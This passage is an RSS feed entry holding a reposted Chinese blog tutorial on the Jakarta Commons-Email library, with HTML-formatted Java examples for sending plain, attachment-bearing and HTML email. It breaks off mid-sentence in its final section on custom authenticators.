﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-kapok-随笔分类-J2EE</title><link>http://www2.blogjava.net/kapok/category/648.html</link><description>垃圾桶,嘿嘿，我藏的这么深你们还能找到啊，真牛！</description><language>zh-cn</language><lastBuildDate>Wed, 28 Feb 2007 03:23:30 GMT</lastBuildDate><pubDate>Wed, 28 Feb 2007 03:23:30 GMT</pubDate><ttl>60</ttl><item><title>简化JavaMail：小巧 Jakarta Commons-Email 简单教程</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14460.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 14:09:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14460.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14460.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14460.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14460.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14460.html</trackback:ping><description><![CDATA[<H1 class=block_title><A id=viewpost1_TitleUrl HREF="/martinx/archive/2005/09/29/14386.html">简化JavaMail：小巧 Jakarta Commons-Email 简单教程</A></H1>
<P class=block_title><BR><A href="http://www.blogjava.net/kapok/martinx/archive/2005/09/29/14386.html">http://www.blogjava.net/martinx/archive/2005/09/29/14386.html</A></P>
<DIV class=post>
<DIV class=postcontent>Jakarta发布了Commons Emails 1.0 released 版本，目的是为了简化JavaMail。<BR><BR>知道有它几个class吗？你一定想不到，只有8个！<BR><BR>好了，开始我们的jakarta commons emails 之旅：）<BR><BR>一：Quick Start<BR>通过SimpleEmail发送邮件<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">java.lang.Object<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;org.apache.commons.mail.Email<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.SimpleEmail</SPAN></DIV><BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">SimpleEmail&nbsp;email&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;SimpleEmail();<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHostName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">mail.4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setAuthentication(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;username&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;password&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.addTo(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin.xus@gmail.com</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setFrom(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin@4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">6</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setSubject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">测试主题</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">7</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">这里是邮件内容</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">8</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.send();</SPAN></DIV><BR>就如代码里字面上的意思一样简单:<BR>1：创建以SimpleEmail对象<BR>2：设定发送信件的smtp服务器，如果没有设定，会寻找系统变量中mail.host值。<BR>3：设定smtp的用户和密码<BR>4：收件人<BR>5：发件人<BR>6：主题<BR>7：内容<BR>8：发送<BR><BR>二：发送带附件的邮件<BR>我们可以发送本机的附件，当然我们也可以发送非本机的附件，如果发送的是一个存在网络上的附件的url,则邮件发送的时候会自动下载，添加到附件中。<BR><BR>&nbsp;&nbsp; 1：）发送本地附件：<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">EmailAttachment&nbsp;attachment&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;EmailAttachment();<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setPath(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">test/test.rar</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDisposition(EmailAttachment.ATTACHMENT);<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDescription(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">python&nbsp;resource</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">resource</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN></DIV><BR>&nbsp;&nbsp; 2：）发送不存在本地的附件<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">EmailAttachment&nbsp;attachment&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;EmailAttachment();<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setURL(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;URL(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">http://www.smilinglibrary.org/sldoc/pics/index03.jpg</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">));<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDisposition(EmailAttachment.ATTACHMENT);<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setDescription(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">微笑图书馆</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>attachment.setName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">微笑图书馆</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN></DIV><BR><BR>next,添加附件到我们的邮件中<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">&nbsp;1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">MultiPartEmail&nbsp;email&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;MultiPartEmail();<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHostName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">mail.4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>&nbsp;3&nbsp;&nbsp;&nbsp; email.setAuthentication(<SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;username&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;password&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)</SPAN><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.addTo(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin.xus@gmail.com</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setFrom(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin@4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;6</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setSubject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">邮件主题</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;7</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">邮件内容</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;8</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">添加附件</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;9</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.attach(attachment);<BR></SPAN><SPAN style="COLOR: #008080">10</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">11</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">发送邮件</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">12</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.send();</SPAN></DIV><BR>如果需要发送多个附件，只需创建多个EmailAttachement,即可<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">email.attach(attachment1)<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.attach(attachment2)</SPAN></DIV><BR>三：发送html格式的邮件<BR>通过HtmlEmail我们可以发送Html格式的邮件：<BR><BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000">java.lang.Object<BR></SPAN><SPAN style="COLOR: #008080">2</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;org.apache.commons.mail.Email<BR></SPAN><SPAN style="COLOR: #008080">3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.MultiPartEmail<BR></SPAN><SPAN style="COLOR: #008080">4</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;org.apache.commons.mail.HtmlEmail<BR></SPAN><SPAN style="COLOR: #008080">5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN></DIV><BR>如下：<BR>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #008080">&nbsp;1</SPAN><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">HtmlEmail!</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;2</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">HtmlEmail&nbsp;email&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;HtmlEmail();<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;3</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHostName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">mail.4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>&nbsp;3&nbsp;&nbsp;&nbsp;email.setAuthentication(<SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;username&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;password&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)</SPAN><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;5</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.addTo("martin@4ya.cn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;6</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setFrom("martin.xus@gmail.com</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">martin</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;7</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setSubject(</SPAN><SPAN style="COLOR: #000000">"主题：该邮件包括html格式内容</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">&nbsp;8</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;embed&nbsp;the&nbsp;image&nbsp;and&nbsp;get&nbsp;the&nbsp;content&nbsp;id<BR></SPAN><SPAN style="COLOR: #008080">&nbsp;9</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;注意这里：embed&nbsp;将帮助我们创建标签如：cid:xxx&nbsp;url</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">10</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">URL&nbsp;url&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;URL(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">http://www.apache.org/images/asf_logo_wide.gif</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">11</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>String&nbsp;cid&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;email.embed(url,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Apache&nbsp;logo</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">12</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">13</SPAN><SPAN style="COLOR: #000000"><IMG id=Codehighlighter1_419_557_Open_Image onclick="this.style.display='none'; Codehighlighter1_419_557_Open_Text.style.display='none'; Codehighlighter1_419_557_Closed_Image.style.display='inline'; Codehighlighter1_419_557_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_419_557_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_419_557_Closed_Text.style.display='none'; Codehighlighter1_419_557_Open_Image.style.display='inline'; Codehighlighter1_419_557_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" align=top></SPAN><SPAN id=Codehighlighter1_419_557_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**&nbsp;*/</SPAN><SPAN id=Codehighlighter1_419_557_Open_Text><SPAN style="COLOR: #008000">/**</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">14</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align=top>set&nbsp;the&nbsp;html&nbsp;message<BR></SPAN><SPAN style="COLOR: #008080">15</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align=top>我们看到HtmlEmail&nbsp;extends&nbsp;Email的，它依然有setMsg()，但是这里发送的邮件包括了插入在邮件内容中的图片，所以不能在使用了setMsg(),而要以setHtmlMsg&nbsp;或setTextMsg代码<BR></SPAN><SPAN style="COLOR: #008080">16</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>*</SPAN><SPAN style="COLOR: #008000">*/</SPAN></SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #008080">17</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top>email.setHtmlMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&lt;html&gt;The&nbsp;apache&nbsp;logo&nbsp;-&nbsp;&lt;img&nbsp;src=\</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">cid:</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+cid+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">\</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;&lt;/html&gt;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">18</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">19</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;set&nbsp;the&nbsp;alternative&nbsp;message</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">20</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.setTextMsg(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Your&nbsp;email&nbsp;client&nbsp;does&nbsp;not&nbsp;support&nbsp;HTML&nbsp;messages</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #008080">21</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top><BR></SPAN><SPAN style="COLOR: #008080">22</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">set&nbsp;mail</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008080">23</SPAN><SPAN style="COLOR: #008000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">email.send();<BR></SPAN><SPAN style="COLOR: #008080">24</SPAN><SPAN style="COLOR: #000000"><IMG src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align=top></SPAN></DIV><BR>四：最后一步 <BR><FONT face="Courier New">如果需要实现更复杂authenticator 你可以extends javax.mail.Authenticator</FONT> ,实现你自己的东西，然后调用<FONT 